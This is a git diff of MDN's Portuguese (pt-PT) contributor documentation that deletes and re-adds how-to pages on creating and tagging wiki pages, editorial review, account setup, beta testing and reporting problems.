- -

Getting page-creation permissions

- -

For security reasons, newly-created accounts don't have the ability to create new pages. If you try to do so, you'll see a page instructing you how to get the page created. There are two options:

- - - -

Creating a new page

- -

Once you have page-creation permission, you can begin creating pages.

- -

If you do not know where to place a new article, do not worry. Put it anywhere, we will find it, move to where it belongs, or merge it into existing content. Whatever makes the most sense. Do not worry about making it perfect. We have happy helper gnomes who help to make your content clean and rather luscious.

- -

There are a few ways to create a new page:

- - - - - -

As with most wikis, it is possible to create a link to a page that is yet to exist. For example, an author might create a list of all the members of an API, before creating the pages for those members. On MDN, links to non-existent pages are typically displayed in red.

- -

To create a page from a 'missing page' link:

- -
    -
  1. Log into MDN, and have page-creation permission. If not logged in, clicking a 'missing page' link results in a 404 (page not found) error.
  2. -
  3. Click the 'missing page' link. If you have page creation permission, the MDN Editor UI opens, ready for you to create the missing page.
  4. -
  5. Write the content of the page, and save it.
  6. -
- - - -

To create a new page without linking from another page, enter a unique page name in the URL field of your browser. For example, if you enter:

- -
https://developer.mozilla.org/en-US/docs/FooBar
- -

MDN Creates a new page, with the title "FooBar", opening the editor for you to add new content. Refer to the Editing an existing page section of this article, for information on how to use the editor mode.

- -

To create a new page without linking from another page:

- -
    -
  1. Log in, and have page-creation permission.
  2. -
  3. Enter the following in the URL field of your browser:
  4. -
- -
https://developer.mozilla.org/en-US/docs/new
- -

MDN Creates a new page, with a place for a title, opening the editor to add new content to this page. Refer to Editing an existing page, for information on using editor mode.

- -

Subpage of an existing page

- -

To create a page you want to be below an existing page, in the page hierarchy:

- -
    -
  1. On the 'parent' page, click the Advanced menu (the gear icon in the toolbar), then click New sub-page.
  2. -
  3. An editor view opens for creating a new document.
  4. -
  5. Add a title for this document, in the Title field.
  6. -
  7. Change the Slug field, if needed. For example, if the title is long, and a shorter URL seems appropriate. This field is automatically filled by the editor, substituting underscores for spaces found in the title, changing only the last part of the URL.
  8. -
  9. In the TOC field, select heading levels you want to be displayed in the table of contents for the page. Or select 'No table of contents', if one is not needed.
  10. -
  11. Write content of the page in the editor pane, saving your changes. Refer to Editing an existing page, for further information on using editor mode.
  12. -
- -

Clone of an existing page

- -

If there is an existing page, whose format you wish to use as a base for your new page, you can 'clone' that page, and then change its content.

- -
    -
  1. On the original page, click the Advanced menu (the gear icon in the toolbar), and click Clone this page. An editor view opens, for creating a new document.
  2. -
  3. Change the Title of the page, as appropriate for the new content. The Slug field is updated automatically as you change the Title field.
  4. -
  5. Change the path portion of the Slug field, as needed, to put the new document in a different location in the document hierarchy. In most cases, this is not needed. A cloned page often has similar content to its original, and need to be in a similar location.
  6. -
  7. In the TOC field, select the heading levels you want to be automatically displayed in the table of contents for this page. Or select 'No table of contents', if one is not needed.
  8. -
  9. Write your content in the editor pane, saving your changes. Refer to Editing an existing page, for more information on using editor mode.
  10. -
- - - -

This is a bit of a hybrid. You can create a link on another page, then click the link you just inserted, to create the new page:

- -
    -
  1. Enter the name of your new page, anywhere that makes sense in the text of an existing page.
  2. -
  3. Highlight this new name, and click the Link icon () in the editor's toolbar. The 'Update Link' dialog opens, with the highlighted text in the 'Link To' field.
  4. -
  5. "/en-US/docs/" is inserted by default, to the beginning of the URL field. Enter the name of the page after "/en-US/docs/". The page name does not have to be the same as the link text.
  6. -
  7. Click OK, to create and insert the link.
  8. -
- -

If the page does not yet exist, the link is displayed in red. If the page does exist, the link is displayed blue. If you want to create a new page, but the page title you desire is already taken, check if it makes sense helping edit and improve the page already there. Otherwise, think of a unique title for your new page, and create a link for it. Refer to page naming guide for guidelines.

- -

To add content to your new page, click on the red link you just created, after saving and closing the editor. The new page opens in editor mode, enabling you to start writing. Refer to Editing an existing page, for further information on using editor mode.

- -

Refreshing page content

- -

MDN support of KumaScript macros, and integration of content from other pages can sometimes be hampered by the need for caching of pages, for performance reasons. Pages are built from their source, and this output is cached for future requests. From that moment on, any macros (templates), or integrations (using the macroPage), will not reflect later changes made to the macro, its output, or the contents of the integrated material.

- - - -

See also

- - diff --git a/files/pt-pt/mdn/contribute/howto/criar_uma_conta_mdn/index.html b/files/pt-pt/mdn/contribute/howto/criar_uma_conta_mdn/index.html deleted file mode 100644 index 058456953e..0000000000 --- a/files/pt-pt/mdn/contribute/howto/criar_uma_conta_mdn/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Como criar uma conta MDN -slug: MDN/Contribute/Howto/Criar_uma_conta_MDN -tags: - - Como - - Documentação - - Guía - - Metadados MDN - - Principiante -translation_of: MDN/Contribute/Howto/Create_an_MDN_account ---- -
{{MDNSidebar}}
- -

Para editar conteúdo na MDN precisa de um perfil MDN. Não precisa de um perfil se só pretende ler e pesquisar documentos na MDN. Este guia irá ajudá-lo a configurar o seu perfil na MDN.

- -
Porque é que a MDN precisa do meu endereço de e-mail?
-
-O seu endereço de e-mail é utilizado para a recuperação da conta e, se necessário, pelos administradores da MDN para o contactar sobre a sua conta ou atividade no site.
-
-Adicionalmente, pode registar-se para receber notificações (tais como, quando são alteradas páginas especificas) e mensagens (por exemplo, se optar por aderir à nossa equipa de testes beta, poderá receber mensagens sobre as novas funcionalidades que precisam de ser testadas).
-
-O seu endereço de e-mail nunca é exibido na MDN e será utilizado apenas de acordo com a nossa politica de privacidade (EN).
- -
Se iniciou a sessão na MDN via GitHub, e utiliza um endereço de e-mail  "não responder" no GitHub, não irá receber mensagens (incluindo as notificações quando subecrever páginas) na MDN.
- -
    -
  1. No topo de cada página na MDN irá encontrar um botão nomeado "Iniciar sessão". Clique com o seu rato (ou toque no mesmo, se estiver a utilizar um dispositivo móvel) para exibir uma lista de serviços de autenticação que nós suportamos para iniciar a sessão na MDN.
  2. -
  3. Selecione um serviço para iniciar a sessão. Atualmente, apenas está disponível o GitHub. Note que se selecionar o GitHub, será incluída uma hiperligação para o seu perfil do GitHub na página pública do seu perfil da MDN.
  4. -
  5. Siga os avisos do GitHub para entrar na sua conta MDN.
  6. -
  7. Assim que o serviço de autenticação volta para o seu MDN, ser-lhe-á pedido para inserir um nome de utilizador e um endereço de e-mail. O seu nome de utilizador será exibido publicamente para creditar o seu trabalho realizado. Não utilize o seu endereço de e-mail como o seu nome de utilizador.
  8. -
  9. Clique em Criar o meu perfil MDN.
  10. -
  11. Se o endereço de e-mail especificado no passo 4 não for o mesmo que utilizou no serviço de autenticação, por favor, verifique o seu e-mail e clique na hiperligação na mensagem de confirmação que nós lhe enviamos.
  12. -
- -

E é tudo! Agora tem uma conta MDN, e pode editar as páginas imediatamente!

- -

Pode clicar no seu nome no topo de qualquer página da MDN para ver o seu perfil público. Lá, pode clicar em Editar para efetuar alterações ou adições ao seu perfil.

- -
-

Os novos nomes de utilizador não podem conter espaços ou o caráter "@". Lembre-se que o seu nome de utilizador será exibido publicamente para identificar o seu trabalho realizado!

-
diff --git a/files/pt-pt/mdn/contribute/howto/etiqueta/index.html b/files/pt-pt/mdn/contribute/howto/etiqueta/index.html deleted file mode 100644 index 2d0ca3d1d6..0000000000 --- a/files/pt-pt/mdn/contribute/howto/etiqueta/index.html +++ /dev/null @@ -1,375 +0,0 @@ ---- -title: Como etiquetar devidamente as páginas -slug: MDN/Contribute/Howto/Etiqueta -tags: - - Como - - Glossário - - Guía - - Introdução - - Metadados da MDN - - Principiante - - Tutorial - - contribuir -translation_of: MDN/Contribute/Howto/Tag ---- -
{{MDNSidebar}}
- -

As tags de artigo são uma maneira importante de colocar os visitantes em contacto com conteúdo útil. Cada página normalmente deverá ter várias tags para ajudar a manter o conteúdo organizado. Esta página explica a melhor maneira para etiquetar as páginas, e assim os nossos leitores podem encontrar a informação e nós podemos manter-nos organizados.

- -

Para obter ajuda com a interface do utilizador para editar tags, consulte a secção de etiquetagem no nosso guia do editor.

- -

Por favor, utilize as tags devidamente como explicado em baixo. Se não o fizer, as nossas ferramentas automatizadas não irão gerar corretamente as listas de conteúdo, as páginas de destino, e ligação dos artigos.

- -

Como é que a MDN utiliza as tags (etiquetas) 

- -

As tags são utilizadas de vários modos na MDN:

- -
-
Categorização do  documento
-
What type of document is it? Is it a reference? A tutorial? A landing page? Our visitors can use these tags to filter searches, so they're really important!
-
Identificação do tópico
-
What is the article about? Is it about an API? The DOM? Graphics? Again, these tags are important because they can filter searches.
-
Estado da tecnologia
-
What's the status of the technology? Is it non-standard? Obsolete or deprecated? Experimental?
-
Nível de proficiência
-
For tutorials and guides, how advanced is the material covered by the article?
-
Metadados do documento
-
The writing community uses tags to keep track of which pages need what kind of work.
-
- -

Guia do tipo de tag

- -

Here's a quick guide to the types of tags and possible values for them.

- -

Categoria do documento

- -

When you tag an article with one of these categories, you help the automated tools more accurately generate landing pages, tables of contents, and so on. Our new search system will also use these terms so that our visitors can locate reference or guide information at will.

- -

We use the following category names as standard tagging terms:

- -
-
{{Tag("Intro")}}
-
The article provides introductory material about a topic. Ideally each technology area should have only one "Intro".
-
{{Tag("Featured")}}
-
The article is critical and will display prominently on landing pages. Use this tag sparingly (never more than three documents in each documentation area).
-
{{Tag("Reference")}}
-
The article contains reference material about an API, element, attribute, property, or the like.
-
{{Tag("Landing")}}
-
The page is a landing page.
-
{{Tag("Guide")}}
-
The article is a how-to or guide page.
-
{{Tag("Example")}}
-
The article is a code sample page, or has code samples (that is, actual snippets of useful code, not one-line "syntax examples").
-
- -

Tópico

- -

By identifying the article's topic area, you are helping generate better search results (and landing pages and navigation as well).

- -

While there's some room for flexibility here as we identify new topic areas, we try to limit ourselves to the names of APIs or technologies. Some useful examples:

- - - -

In general, your topic identification tag should be the name of an interface with a number of related pages (like Node, which has many pages for its various properties and methods), or the name of an overall technology type. You might tag a page about WebGL with Graphics and WebGL, for example, but a page about {{HTMLElement("canvas")}} with HTML, Element, Canvas, and Graphics.

- -

Conteúdo específico da Mozilla

- -

Estas tags são utilizadas apenas no conteúdo especifico da Mozilla:

- - - -

Identificação de API

- -

Within the API reference, each article should identify which part of the API it covers:

- -
-
{{tag("Interface")}}
-
The main article for an interface should have this tag. For example, {{domxref("RTCPeerConnection")}}.
-
{{tag("Constructor")}}
-
Each interface may have up to one page tagged "Constructor"; this is the interface's constructor. The page should have the same name as the interface, like {{domxref("RTCPeerConnection.RTCPeerConnection()")}}.
-
{{tag("Property")}}
-
Every article describing a particular property within an interface needs this tag. See {{domxref("RTCPeerConnection.connectionState")}}, for example.
-
{{tag("Method")}}
-
Each article documenting an interface method needs this tag. See {{domxref("RTCPeerConnection.createOffer()")}} for example.
-
- -

In addition, the reference pages need to include interface, property, and method names among their tags. Some examples:

- -
-
The interface {{domxref("RTCPeerConnection")}}
-
Include the tag "RTCPeerConnection" along with the other relevant tags ("Interface", "WebRTC", "WebRTC API", "API", "Reference", and so forth).
-
The method {{domxref("RTCPeerConnection.createOffer()")}}
-
Include the tags "RTCPeerConnection" and "createOffer" (note no parentheses in tag names!) along with the other relevant tags, including "WebRTC", "WebRTC API", "API", "Reference", and so forth. Consider including things like "Offer" and "SDP", which are also relevant here.
-
The property {{domxref("RTCPeerConnection.iceConnectionState")}}
-
Include the tags "RTCPeerConnection" and "iceConnectionState" along with the other relevant tags, including "WebRTC", "WebRTC API", "API" and "Reference". Also consider including "ICE".
-
- -

Estado da tecnologia

- -

To help the reader understand how viable a technology is, we use tags to label pages as to the status of the technology's specification. This isn't as detailed as actually explaining what the spec is and how far the technology has come in the specification process (that's what the Specifications table is for), but it helps the reader judge, at a glance, whether it's a good idea to use the technology described in the article.

- -

Here are possible values for these tags:

- -
-
{{Tag("Read-only")}}
-
Apply this tag to reference pages which describe a property or attribute which is read-only.
-
{{Tag("Non-standard")}}
-
Indicates that the technology or API described on the page is not part of a standard, whether it's stable or not in any browsers which implement it (if it's not stable, it should also be {{Tag("Experimental")}}). If you don't use this tag, your readers will assume the technology is standard. The compatibility table on the page should clarify which browser(s) support this technology or API.
-
{{Tag("Deprecated")}}
-
The technology or API covered on the page is marked as deprecated in the specification, and is likely to eventually be removed, but is generally still available in current versions of browsers.
-
{{Tag("Obsolete")}}
-
The technology or API has been deemed obsolete and has been removed (or is actively being removed) from all or most current browsers.
-
{{Tag("Experimental")}}
-
The technology is not standardized, and is an experimental technology or API that may or may not ever become part of a standard. It is also subject to change in the browser engine (typically only one) that implements it. If the technology isn't part of any specification (even in draft form), it should also have the {{tag("Non-standard")}} tag.
-
{{Tag("Needs Privileges")}}
-
The API requires privileged access to the device on which the code is running.
-
{{Tag("Certified Only")}}
-
The API only works in certified code.
-
- -

These tags are no excuse to leave out the compatibility table in your article! That should always be present.

- -

Nível de competência técnica

- -

Use the skill-level tag type only for guides and tutorials (that is, pages tagged Guide) to help users choose tutorials based on how familiar they are with a technology. There are three values for this:

- -
-
{{Tag("Beginner")}}
-
Articles designed to introduce the reader to a technology they've never used or have only a passing familiarity with.
-
{{Tag("Intermediate")}}
-
Articles for users who have gotten started with the technology but aren't experts.
-
{{Tag("Advanced")}}
-
Articles about stretching the capabilities of a technology and of the reader.
-
- -

Metadados de documento

- -

The writing community uses tags to label articles as requiring specific types of work. Here's a list of the ones we use most:

- -
-
{{Tag("Draft")}}
-
The article is not complete, and is at least in theory still actively being updated (although it's also possible it's been forgotten about). Try to check with the most recent contributors before making changes, in order to avoid potential content collisions.
-
{{Tag("NeedsCompatTable")}}
-
The article needs a table to specify compatibility of a feature across browsers. See here for a guide on contributing to browser compatibility.
-
{{Tag("NeedsContent")}}
-
The article is a stub, or is otherwise lacking information. This tag means that someone should review the content and add more details and/or finish writing the article.
-
{{Tag("NeedsExample")}}
-
The article needs one or more examples created to help illustrate the article's point. These examples should use the live sample system.
-
{{Tag("NeedsLiveSamples")}}
-
The article has one or more examples that need to be updated to use the live sample system.
-
{{Tag("NeedsSpecTable")}}
-
The article needs a table to indicate on which specification document(s) the feature was defined.
-
{{Tag("NeedsUpdate")}}
-
The content is out of date and needs to be updated.
-
{{Tag("l10n:exclude")}}
-
The content is not really worth localizing and will not appear on localization status pages.
-
{{Tag("l10n:priority")}}
-
The content is important and should be marked as a priority for MDN translators. Shows up in an extra priority table on localization status pages.
-
- -

Unindo tudo

- -

Portanto, para cada página que atribui tags de vários tipos de tag, por exemplo:

- -
-
A tutorial about WebGL for beginners
-
WebGL, Graphics, Guide, Beginner
-
Reference page for {{HTMLElement("canvas")}}
-
Canvas, HTML, Element, Graphics, Reference
-
A landing page for Firefox OS developer tools
-
Tools, Firefox OS, Landing
-
- -

Filtros de tag e pesquisa

- -

Search filters won't work properly unless we tag MDN pages properly. Here's a table of search filters and which tags they look for.

- -
-

Nota: If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Grupo de filtroNome do filtro de pesquisaNome da tag
TópicoAPIs and DOM{{Tag("API")}} || {{Tag("DOM")}} {{Deprecated_Inline}}
Add-ons & Extensions {{Deprecated_Inline}}{{Tag("Add-ons")}} || {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}} || {{Tag("WebExtensions")}}
CSS{{Tag("CSS")}}
Canvas{{Tag("Canvas")}}
Firefox{{Tag("Firefox")}}
Firefox OS{{Tag("Firefox OS")}}
Games{{Tag("Games")}}
HTML{{Tag("HTML")}}
HTTP{{Tag("HTTP")}}
JavaScript{{Tag("JavaScript")}}
Marketplace {{Non-standard_Inline}}{{Tag("Marketplace")}}
MathML{{Tag("MathML")}}
Mobile{{Tag("Mobile")}}
Open Web Apps {{Non-standard_Inline}}{{Tag("Apps")}}
SVG{{Tag("SVG")}}
Web Development{{Tag("Web Development")}}
Web Standards{{Tag("Web")}}
WebExtensions{{Tag("WebExtensions")}}
WebGL{{Tag("WebGL")}}
Writing Documentation{{Tag("MDN Meta")}}
XPCOM {{Non-standard_Inline}}{{Tag("XPCOM")}}
XUL {{Non-standard_Inline}}{{Tag("XUL")}}
{{anch("Skill level")}}I'm an Expert{{Tag("Advanced")}}
Intermediate{{Tag("Intermediate")}}
I'm Learning{{Tag("Beginner")}}
Tipo de documentoDocsThis restricts the search to docs content, leaving out Hacks and other MDN content.
DemosThis includes Demo Studio content in the search results.
Tools{{Tag("Tools")}}
Code Samples{{Tag("Example")}}
How-To & Tutorial{{Tag("Guide")}}
Developer ProfilesThis includes developer profiles from the MDN site in the search results.
External ResourcesThe dev team is still figuring this out...
- -

Problemas de etiquetagem que pode corrigir

- -

There are several kinds of tag problems you can help fix:

- -
-
No tags
-
Generally articles should have at least a "{{anch("Document category", "category")}}" tag and a "{{anch("Topic", "topic")}}" tag. Usually other tags are appropriate as well, but if you can help us ensure that the minimum tags are present, you'll be a documentation hero!
-
Tags that don't follow our tagging standards
-
Please fix any documents whose tags don't follow the standards on this page.
- Note that you may occasionally see some localized tags (such as Référence) showing up on some English pages. This was due to a bug in Kuma, which caused the tags to reappear even if they were deleted. That bug has since been fixed, so any remaining localized tags can be cleaned up if they're spotted.
-
Incorrect tags
-
If you're looking at an article about HTML and it's tagged "JavaScript", that's probably wrong! Likewise, if an article discusses Mozilla internals but has a "Web" tag, that's probably wrong too. Remove these tags and add the right tags if they aren't already there. Please also correct misspelled tags (e.g., "Javascript" will still match, since tags are case-insensitive, but let's not be sloppy!).
-
Missing tags
-
If an article has some but not all of the tags it needs, feel free to add more. For example, if a page in JavaScript reference is (correctly) tagged "JavaScript" but nothing else, you're invited to tag the page "Reference" as well!
-
Tag spam
-
This insidious beast is the most revolting tag problem of all: some Web vermin has deposited its droppings in the page tags (like "Free warez!" or "Hey I was browsing your site and wanted to ask you if you could help me solve this problem I'm having with Flash crashing all the time"). We've got to delete these right away! They're ugly, they're hard to manage if they're allowed to linger too long, and they're terrible for {{Glossary("SEO")}}.
-
- -

If you see one (or more) of these problems, please log into MDN and click EDIT at the top right of the MDN window. Once the editor loads up, scroll down to the bottom of the page, where you'll see the tag box. For more details on the tagging interface, see "The tags box" in the MDN editor guide.

diff --git "a/files/pt-pt/mdn/contribute/howto/fazer_revis\303\243o_editorial/index.html" "b/files/pt-pt/mdn/contribute/howto/fazer_revis\303\243o_editorial/index.html" deleted file mode 100644 index d2902a8bb6..0000000000 --- "a/files/pt-pt/mdn/contribute/howto/fazer_revis\303\243o_editorial/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Como efetuar uma revisão editorial -slug: MDN/Contribute/Howto/fazer_revisão_editorial -tags: - - Como - - Documentação - - Guía - - Metadados MDN - - Revisão Editorial -translation_of: MDN/Contribute/Howto/Do_an_editorial_review ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

As revisões editoriais consistem em corrigir erros de digitação, ortografia, gramática, utilização ou erros textuais num artigo. Não é preciso ser um especialistas em linguagem para efetuar contribuições úteis para a documentação técnica da MDN, mas os artigos continuam a precisar de edição de cópia e revisão de provas. Isto é efetuado numa revisão editorial.

- -

Este artigo descreve como efetuar uma revisão editorial, que ajuda a assegurar que o conteúdo na MDN é preciso e bem escrito.

- -
-
O que é a tarefa?
-
Copy-editing and proof-reading of articles that are marked as requiring an editorial review.
-
Onde é que esta tem de ser efetuada?
-
Within specific articles that are marked as requiring an editorial review.
-
O que precisa de saber para efetuar a tarefa?
-
You need to have good English grammar and spelling skills. An editorial review is about ensuring that the grammar, spelling, and wording are correct and make sense, and that the MDN writing style guide is followed.
-
Quais os passos a seguir?
-
-
    -
  1. Escolha um artigo para rever: -
      -
    1. Go to the list of articles needing editorial review. This lists all the pages for which an editorial review has been requested.
    2. -
    3. Click on the article link to load the page.
      - Nota: This listing is generated automatically but infrequently, so some articles appear on the list that no longer need editorial review. If the article you picked does not display a banner that says "This article needs an editorial review", skip that article and pick a different one.
    4. -
    -
  2. -
  3. Read the article, paying close attention for typos, spelling, grammar, or usage errors. Don't hesitate to switch to a different page if the first one you choose doesn't suit you.
  4. -
  5. If there are no errors, you don't need to edit the article to mark it as reviewed. Look for the "quick review" box in the left sidebar of the page:
    - Screenshot of the editorial review request sidebar box
  6. -
  7. Deselect the Editorial box and click Save.
  8. -
  9. If you find errors that need to be corrected: -
      -
    1. Click the Edit button near the top of the page; this brings you into the MDN editor.
    2. -
    3. Correct any typos and spelling, grammar, or usage errors you find. You don't have to fix everything to be useful, but be sure to leave the editorial review request in place if you don't feel reasonably sure that you've done a complete review of the entire article.
    4. -
    5. Enter a Revision Comment at the bottom of the article; something like 'Editorial review: fixed typos, grammar & spelling.' This lets other contributors and site editors know what you changed and why.
    6. -
    7. Deselect the Editorial box under Review Needed?. This is located just below the Revision Comment section of the page.
    8. -
    9. Click the Publish button.
    10. -
    -
  10. -
- -
-

Depois de guardar, as suas alterações poderão não ser visíveis de imediato; existe um pequeno atraso enquanto a página é processada e guardada.

-
-
-
diff --git a/files/pt-pt/mdn/contribute/howto/marcar_paginas_javascript/index.html b/files/pt-pt/mdn/contribute/howto/marcar_paginas_javascript/index.html deleted file mode 100644 index e7c610347c..0000000000 --- a/files/pt-pt/mdn/contribute/howto/marcar_paginas_javascript/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Como marcar páginas de JavaScript -slug: MDN/Contribute/Howto/Marcar_paginas_JavaScript -tags: - - Como - - Guia(2) - - JavaScript - - Metadados MDN -translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages ---- -
{{MDNSidebar}}

A marcação consiste na adição de informação-metadados às páginas, e assim o conteúdo relacionado pode ser agrupado, por exemplo, na ferramenta de pesquisa.

- -
-
Onde é que isso precisa ser feito?
-
Nas páginas relacionadas com JavaScript especificas sem marcações (tags)
-
O que precisa de saber para efetuar a tarefa?
-
Conhecimento de codificação JavaScript básico, tal como saber o que é um 'método' ou uma 'propriedade'.
-
Quais são os passos a efetuar?
-
-
    -
  1. Escolha uma das páginas na lista acima.
  2. -
  3. Clique na hiperligação do artigo para carregar a página.
  4. -
  5. Assim que a página esteja carregada, clique em "EDITAR" perto do seu topo; isto leva-o para o editor da MDN.
  6. -
  7. Deverá ser adicionada pelo menos uma etiqueta de JavaScript. Aqui tem algumas das etiquetas possíveis para adicionar:
  8. -
  9. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    EtiquetaQue páginas para a utilizar
    Methodmethods
    Propertyproperties
    prototypeprototypes
    Object type namemethods of an object; for example String.fromCharCode should have the tag String
    ECMAScript6 and Experimentalfeatures added in a new ECMAScript version
    Deprecateddeprecated features (whose use is discouraged but still supported)
    Obsoleteobsolete features (which are no longer supported in modern browsers)
    othersSee MDN tagging standards for other possible tags to apply
    -
  10. -
  11. Guarde com um comentário.
  12. -
  13. E concluiu!
  14. -
-
-
- -

 

diff --git a/files/pt-pt/mdn/contribute/howto/participar_testes_beta/index.html b/files/pt-pt/mdn/contribute/howto/participar_testes_beta/index.html deleted file mode 100644 index ec68693a32..0000000000 --- a/files/pt-pt/mdn/contribute/howto/participar_testes_beta/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Como participar nos testes "beta" -slug: MDN/Contribute/Howto/Participar_testes_beta -tags: - - MDN Meta - - Metadados MDN -translation_of: MDN/Contribute/Howto/Be_a_beta_tester ---- -
{{MDNSidebar}}

De vez em quando, à medida que os programadores da plataforma Kuma da MDN fazem alterações no site, nós oferecemos acesso antecipado a essas novas funcionalidades aos membros que optaram por participar nos testes "beta". Como é típico com qualquer teste "beta", as funcionalidades podem não funcionar corretamente em algumas situações.

- -

Participar nos testes "beta"

- -
    -
  1. Depois de iniciar a sessão na MDN, clique no seu nome de utilizador na barra de navegação no topo.
    - Shows location of the user's profile link in the top navigation
    - This takes you to your profile page.
  2. -
  3. Clique no botão "Edit".
    - Shows location of the button to edit a user's profile (which may vary depending on window dimensions
    - This opens the profile page in edit mode.
  4. -
  5. Selecione a caixa para Beta tester.
    - Shows the location of the Beta Tester checkbox
  6. -
  7. Clique no botão "Publicar" no fim da página de perfil.
    - Shows the location of the Publish button on a user's profile page
  8. -
- -

Cancelar participação nos testes "beta"

- -
    -
  1. While logged in to MDN, click your user name in the top navigation bar. This takes you to your profile page.
  2. -
  3. Click the Edit button. This opens the profile page in edit mode.
  4. -
  5. Clear the checkbox for Beta tester.
  6. -
  7. Click the Publish button.
  8. -
- -

Dê a sua opinião/comentário sobre os testes "beta"

- -

There are two ways you can give feedback about a beta test:

- - - -
    -
  1. Create an account on Bugzilla if you don't already have one.
  2. -
  3. Open a bug report in Bugzilla for MDN.
  4. -
  5. Include the word "beta" in the Summary field to help MDN developers filter and triage incoming bugs.
  6. -
  7. Fill out the bug report form to the best of your ability. Be as detailed as possible.
  8. -
  9. Click the Submit button.
  10. -
- -

 

diff --git a/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html b/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html new file mode 100644 index 0000000000..764d3fca0c --- /dev/null +++ b/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html @@ -0,0 +1,24 @@ +--- +title: Como comunicar um problema na MDN +slug: MDN/Contribute/Howto/Comunicar_um_problema +tags: + - Como... + - Guía + - Metadados MDN +translation_of: MDN/Contribute/Howto/Report_a_problem +--- +
{{MDNSidebar}}
+ +

De vez em quando, pode encontrar problemas ao utilizar a MDN. Se é um problema com a infra-estrutura do site ou um erro no conteúdo da documentação, pode tentar corrigi-lo ou comunicar o problema. Enquanto o primeiro é o preferido, o último é às vezes o melhor que pode gerir, e isso também está bem.

+ +

Erros de documentação ou pedidos

+ +

Obviously, since MDN is a wiki, the best thing you can possibly do is fix problems you spot yourself. But maybe you don't know the answer or are in the middle of a deadline on your own project or something, and need to jot down the problem so someone can look at it later.

+ +

As is the case with all things Mozilla, you report a documentation problem by filing a bug. That's when filing a documentation request bug comes in. The documentation request form gathers the information needed to get us started on fixing the issue.

+ +

Of course, our writing community is busy, so sometimes the quickest way to see a documentation problem resolved is to fix it yourself. See How to create and edit pages for details.

+ +

Erros (bugs) do site ou pedidos de funcionalidades

+ +

Kuma, the Mozilla-developed platform used for the MDN web site, is in a state of continuous development. Our developers—as well as a number of volunteer contributors—are constantly making improvements. If you see a bug, or have a problem with the site, or even have a suggestion for something that could make the software more awesome, you can use the Kuma bug form to file a report. You can also use this form to report performance problems with the site, though odds are that performance-monitoring tools have already notified the appropriate people.

diff --git a/files/pt-pt/mdn/contribute/howto/tag/index.html b/files/pt-pt/mdn/contribute/howto/tag/index.html new file mode 100644 index 0000000000..2d0ca3d1d6 --- /dev/null +++ b/files/pt-pt/mdn/contribute/howto/tag/index.html @@ -0,0 +1,375 @@ +--- +title: Como etiquetar devidamente as páginas +slug: MDN/Contribute/Howto/Etiqueta +tags: + - Como + - Glossário + - Guía + - Introdução + - Metadados da MDN + - Principiante + - Tutorial + - contribuir +translation_of: MDN/Contribute/Howto/Tag +--- +
{{MDNSidebar}}
+ +

As tags de artigo são uma maneira importante de colocar os visitantes em contacto com conteúdo útil. Cada página normalmente deverá ter várias tags para ajudar a manter o conteúdo organizado. Esta página explica a melhor maneira para etiquetar as páginas, e assim os nossos leitores podem encontrar a informação e nós podemos manter-nos organizados.

+ +

Para obter ajuda com a interface do utilizador para editar tags, consulte a secção de etiquetagem no nosso guia do editor.

+ +

Por favor, utilize as tags devidamente como explicado em baixo. Se não o fizer, as nossas ferramentas automatizadas não irão gerar corretamente as listas de conteúdo, as páginas de destino, e ligação dos artigos.

+ +

Como é que a MDN utiliza as tags (etiquetas) 

+ +

As tags são utilizadas de vários modos na MDN:

+ +
+
Categorização do  documento
+
What type of document is it? Is it a reference? A tutorial? A landing page? Our visitors can use these tags to filter searches, so they're really important!
+
Identificação do tópico
+
What is the article about? Is it about an API? The DOM? Graphics? Again, these tags are important because they can filter searches.
+
Estado da tecnologia
+
What's the status of the technology? Is it non-standard? Obsolete or deprecated? Experimental?
+
Nível de proficiência
+
For tutorials and guides, how advanced is the material covered by the article?
+
Metadados do documento
+
The writing community uses tags to keep track of which pages need what kind of work.
+
+ +

Guia do tipo de tag

+ +

Here's a quick guide to the types of tags and possible values for them.

+ +

Categoria do documento

+ +

When you tag an article with one of these categories, you help the automated tools more accurately generate landing pages, tables of contents, and so on. Our new search system will also use these terms so that our visitors can locate reference or guide information at will.

+ +

We use the following category names as standard tagging terms:

+ +
+
{{Tag("Intro")}}
+
The article provides introductory material about a topic. Ideally each technology area should have only one "Intro".
+
{{Tag("Featured")}}
+
The article is critical and will display prominently on landing pages. Use this tag sparingly (never more than three documents in each documentation area).
+
{{Tag("Reference")}}
+
The article contains reference material about an API, element, attribute, property, or the like.
+
{{Tag("Landing")}}
+
The page is a landing page.
+
{{Tag("Guide")}}
+
The article is a how-to or guide page.
+
{{Tag("Example")}}
+
The article is a code sample page, or has code samples (that is, actual snippets of useful code, not one-line "syntax examples").
+
+ +

Tópico

+ +

By identifying the article's topic area, you are helping generate better search results (and landing pages and navigation as well).

+ +

While there's some room for flexibility here as we identify new topic areas, we try to limit ourselves to the names of APIs or technologies. Some useful examples:

+ + + +

In general, your topic identification tag should be the name of an interface with a number of related pages (like Node, which has many pages for its various properties and methods), or the name of an overall technology type. You might tag a page about WebGL with Graphics and WebGL, for example, but a page about {{HTMLElement("canvas")}} with HTML, Element, Canvas, and Graphics.

+ +

Conteúdo específico da Mozilla

+ +

Estas tags são utilizadas apenas no conteúdo especifico da Mozilla:

+ + + +

Identificação de API

+ +

Within the API reference, each article should identify which part of the API it covers:

+ +
+
{{tag("Interface")}}
+
The main article for an interface should have this tag. For example, {{domxref("RTCPeerConnection")}}.
+
{{tag("Constructor")}}
+
Each interface may have up to one page tagged "Constructor"; this is the interface's constructor. The page should have the same name as the interface, like {{domxref("RTCPeerConnection.RTCPeerConnection()")}}.
+
